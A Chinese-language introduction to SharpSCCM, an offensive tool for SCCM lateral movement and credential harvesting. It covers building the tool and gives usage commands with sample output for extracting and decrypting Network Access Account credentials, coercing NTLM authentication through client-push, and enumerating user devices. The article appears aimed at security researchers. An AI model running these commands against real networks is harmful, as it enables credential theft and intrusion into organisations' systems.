关于SharpSCCM

SharpSCCM是一款功能强大的横向渗透和凭证收集工具,该工具主要利用了微软终端配置管理器(SCCM)来实现其功能,并能够通过访问SCCM管理终端GUI来实现横向渗透和凭证收集。

功能介绍

1、后渗透功能,支持横向渗透;

2、支持从SCCM客户端请求NTLM认证;

3、支持收集网络访问账号(NAA)的凭证信息;

4、请求和反混淆NAA凭证;

5、支持滥用新发现的攻击原语来强制来自SCCM服务器的NTLM身份验证;

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/Mayyhem/SharpSCCM.git

项目构建

将项目源码克隆至本地之后,在Visual Studio中打开SharpSCCM.sln,然后选择目标,比如说Release > x64。

接下来,构建解决方案(Ctrl + Shift + B)即可。

此时,将在目标路径下生成一个SharpSCCM程序集,其中包含了所有的工具及依赖组件,路径为.\SharpSCCM\bin\x64\Release\SharpSCCM_merged.exe。

命令行使用

命令样例:

SharpSCCM.exe [command] [options]

自命令样例:

add     支持将对象添加到其他对象get     查询指定对象,并显示对象内容exec    从指定UNC路径执行一个应用程序,或从客户端设备请求NTLM身份认证invoke  在服务器上执行或调用操作local    与本地工作站/服务器交互new     在服务器上创建新的对象remove  从服务器删除对象

工具使用

从本地SCCM客户端设备导出和解密NAA凭证

通过WMI导出NAA并使用DPAPI主密钥进行解密:

SharpSCCM.exe local naa wmi

样例输出:

.\SharpSCCM.exe local naa wmi_______ _     _ _______  ______  _____  _______ _______ _______ _______|______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |______| |     | |     | |    \_ |       ______| |______ |______ |  |  |[*] Retrieving Network Access Account blobs via WMI[+]     Connecting to \\localhost\root\ccm\policy\Machine\ActualConfig[+]     Executing WQL query: SELECT * FROM CCM_NetworkAccessAccount[*] Elevating to SYSTEM via token duplication for LSA secret retrieval[*] RevertToSelf()[*] Secret  : DPAPI_SYSTEM[*]    full: <REDACTED>[*]    m/u : <REDACTED>[*] SYSTEM master key cache:{340f2212-5765-4e57-8931-070fadb401c2}:<REDACTED>{3c58124e-ef4e-4841-900c-3183550720b3}:<REDACTED>{226f00ce-7ab9-4fff-a7e0-665e7afb2785}:<REDACTED>{6641ae28-12b2-4e79-abe4-2199ac0245b1}:<REDACTED>[*] Triaging Network Access Account CredentialsPlaintext NAA Username         : APERTURE\networkaccessPlaintext NAA Password         : <REDACTED>

请求设备策略并获取NAA凭证

SharpSCCM.exe get naa -u <computer$> -p <password>

样例输出:

.\SharpSCCM.exe get naa -u chell$ -p <password>_______ _     _ _______  ______  _____  _______ _______ _______ _______|______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |______| |     | |     | |    \_ |       ______| |______ |______ |  |  |[+] Connecting to \\localhost\root\ccm[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority[+] Current management point: atlas.aperture.sci[+] Site code: PS1[+] Created "ConfigMgr Client Messaging" certificate in memory for device registration and signing/encrypting subsequent messages[+] Wrote "ConfigMgr Client Messaging" certificate to My store for CurrentUser[+] Discovering local properties for client registration request[+] Modifying client registration request properties:FQDN: CAVE-JOHNSON-PC.APERTURENetBIOS name: CAVE-JOHNSON-PCAuthenticating as: chell$Site code: PS1[+] Sending HTTP registration request to atlas.aperture.sci:80[+] Received unique GUID for new device: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5[+] Obtaining Full Machine policy assignment from atlas.aperture.sci PS1[+] Found 43 policy assignments[+] Found policy containing secrets:ID: {096db290-7e52-41cb-839c-b8af87b82abf}Flags: RequiresAuth, Secret, IntranetOnly, PersistWholePolicyURL: http://<mp>/SMS_MP/.sms_pol?{096db290-7e52-41cb-839c-b8af87b82abf}.4_00[+] Adding authentication headers to download request:ClientToken: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5;2022-10-17T23:24:00Z;2ClientTokenSignature: 9BAF8C2981B17DE0E056C42E8E4605B72A0559CE30C245E06CADC65A25A37D342595B6DCC542ABB9C20A01E9D1E71B1E8B52E8CF6B9C6214C76CA1C636B301031E15E8A53D1A2E52E18416F6A77F1BD8D793184995D93423E1F346E6B131CE07908DC26FB20CCF09F1B1FC2318104C7145B69D6870819CB9B35C8F87C3CB311211F84BA812EC15AAD7C3E512BF73D67A5AA7EA180E07E35E712CC69DF034183BA89C5937AC3EF954E5B3D8401172B6C0850695436180FD3A4185F4702F2647AE1E747BD5D64707123F003958CF110E7191CE5D299F97CCE4D01965F92496C748DD0F0A20CDB3F469C8BB5A33340142CD91B8F1C7D3082EC6B86080072783390A[+] Received encoded response from server for policy {096db290-7e52-41cb-839c-b8af87b82abf}[+] Successfully decoded and decrypted secret policy[+] Deleted "CN=ConfigMgr Client Messaging" certificate from My store for CurrentUser[+] Encrypted NAA username: 89130000...<REDACTED>...6C006F00[+] Encrypted NAA password: 89130000...<REDACTED>...8D3C0000[+] Done! Encrypted NAA hex strings can be decrypted offline using the "DeobfuscateNAAString.exe <string>" command..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...06C006F00Plaintext: APERTURE\networkaccess..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...8D3C0000Plaintext: <REDACTED>

横向渗透:调用client-push

强制SCCM服务器通过SMB向目标<target>发送NTLM身份认证:

SharpSCCM.exe <server> <sitecode> invoke client-push -t <target>

强制SCCM服务器通过HTTP向目标<target>发送NTLM身份认证:

SharpSCCM.exe <server> <sitecode> invoke client-push -t <target@port>

样例输出:

PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release> .\SharpSCCM.exe atlas ps1 invoke client-push -t 192.168.57.130[+] Discovering local properties for client registration request[+] Modifying client registration request propertiesClientFqdn: 192.168.57.130NetBiosName: 192.168.57.130SiteCode: ps1[+] Registration Request Body:<...snip...>[+] Sending HTTP registration request to atlas:80[+] Received unique GUID for new device: GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE[+] Discovering local properties for DDR inventory report[+] Modifying DDR and inventory report properties[+] Discovered PlatformID: Microsoft Windows NT Server 10.0[+] Modified PlatformID: Microsoft Windows NT Workstation 2010.0[+] DDR Body:<...snip...>[+] Inventory Report Body:<...snip...>[+] Sending DDR from GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE to MP_DdrEndpoint endpoint on atlas:ps1 and requesting client installation on 192.168.57.130

横向渗透:获取primary-user

使用<username>主用户获取设备列表:

SharpSCCM.exe <server> <sitecode> get primary-user -u <username>

样例输出:

.\SharpSCCM.exe atlas ps1 get primary-user -u chell[+] Connecting to \\atlas\root\SMS\site_ps1[+] Executing WQL query: SELECT * FROM SMS_UserMachineRelationship WHERE UniqueUserName LIKE '%chell%'-----------------------------------SMS_UserMachineRelationship-----------------------------------CreationTime: 20220528005101.523000+000IsActive: TrueRelationshipResourceID: 25165825ResourceClientType: 1ResourceID: 16777227ResourceName: GLADOSSources: 2Types: 1UniqueUserName: aperture\chell-----------------------------------

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

SharpSCCM:【GitHub传送门】

参考资料

Offensive Operations with PowerSCCM | enigma0x3

https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867

https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9

Exploring SCCM by Unobfuscating Network Access Accounts - XPN InfoSec Blog

https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

Client security and privacy - Configuration Manager | Microsoft Learn

SharpSCCM:一款利用SCCM实现横向渗透的强大工具相关推荐

  1. 内网横向渗透之各种传递攻击

    内网横向渗透之各种传递攻击 前言 在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透. ...

  2. MoveKit:一款功能强大的Cobalt Strike横向渗透套件

    关于MoveKit MoveKit是一款功能强大的Cobalt Strike横向渗透套件,本质上来说MoveKit是一个Cobalt Strike扩展,它利用的是SharpMove和SharpRDP ...

  3. 攻击者利用的Windows命令、横向渗透工具分析结果列表

    横向渗透工具分析结果列表 https://jpcertcc.github.io/ToolAnalysisResultSheet/ 攻击者利用的Windows命令 https://blogs.jpcer ...

  4. 一种新的攻击方式:使用Outlook 表单进行横向渗透和常驻

    本文讲的是一种新的攻击方式:使用Outlook 表单进行横向渗透和常驻, 背景 最近我们针对CrowdStrike服务进行例行调查,发现了一种攻击方法,其主要用于横向渗透和系统常驻,而且是以前我们没有 ...

  5. Penta:一款开源的多合一自动化渗透测试命令行工具(很强,包含扫描、DNS、Shodan)

    今天给大家介绍的是一款名叫Penta的自动化渗透测试工具,Penta,即渗透测试Pentest与自动化实现Automation.Penta是一个开源项目,并且整合了多种功能,来帮助研究人员自动化实现渗 ...

  6. windows共享文件夹端口_探讨横向渗透背后的Windows安全机制

    1.测试环境 god.org域环境: 系统 身份 IP地址 win2008 域控 192.168.124.21 win7 普通域成员 192.168.124.25 win2003 普通域成员 192. ...

  7. 内网安全(四)---横向渗透:PTHPTKPTT

    域横向 PTH&PTK&PTT 哈希票据传递 1.知识: PTH(pass the hash) : 利用 lm 或 ntlm 的值. PTT(pass the ticket): 利用的 ...

  8. 内网渗透-横向渗透2

    内网渗透-横向渗透2 1.域横向 PTH&PTK&PTT 哈希票据传递 1.域横向移动 PTH 传递 PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测 ...

  9. 内网渗透系列:横向渗透方法小结

    目录 前言 一.端口渗透 1.常见默认端口 (1)web类(web漏洞/敏感目录) (2)数据库类(扫描弱口令) (3)特殊服务类(未授权/命令执行类/漏洞) (4)常用端口类(扫描弱口令/端口爆破) ...

最新文章

  1. 使用MUI/html5plus集成微信支付需要注意的几点问题
  2. STL 里 resize 和 reserve 的区别
  3. python经济学函数_有没有python计量经济学的教程?
  4. 3G助推智慧医疗 看病将更加“智能化”
  5. opengl 关于glewGetContext没有定义
  6. django使用iframe
  7. Kafka:ZK+Kafka+Spark Streaming集群环境搭建(十九)ES6.2.2 安装Ik中文分词器
  8. Lesson5 How to open a new window from a pushbutton
  9. 电驴服务器搜索文件排序,eMule如何搜索文件
  10. OpenPLC:符合IEC 61131-3标准的用于网络安全研究的开源工业控制器
  11. pageoffice在线编辑时向保存方法传递参数
  12. 训练loss不下降原因总结
  13. 51单片机自学笔记引脚
  14. 学习笔记之Python的六种内置对象
  15. 恶搞-Mac 让电脑说话
  16. Python中函数的括号
  17. SPIN: Structure-Preserving Inner Offset Network for Scene Text Recognition —— 论文阅读笔记
  18. Remote 激光微粒计数器参数是什么
  19. “奇点”临近:2045,人类永生
  20. 核音智言 | 数字孪生IOC,助力城市治理智能高效!

热门文章

  1. 锈才学设计模式之 —— 策略模式(Strategy Pattern)
  2. 2021年全球滤水器收入大约1531.1百万美元,预计2028年达到2248.9百万美元,2022至2028期间,年复合增长率CAGR为6.1%
  3. 从苏宁电器到卡巴斯基第19篇:曲折考研路(上)
  4. 解读java面试_解读王垠博客“一道 Java 面试题”
  5. 两个重要的常数项级数
  6. 编程之美:三盏灯问题
  7. Maven仓库理解和优先级
  8. NullPointerException异常的解决方案
  9. sencha-touch.js MIUI Android 8.0兼容性问题
  10. OS内核以及进程间通信方式IPC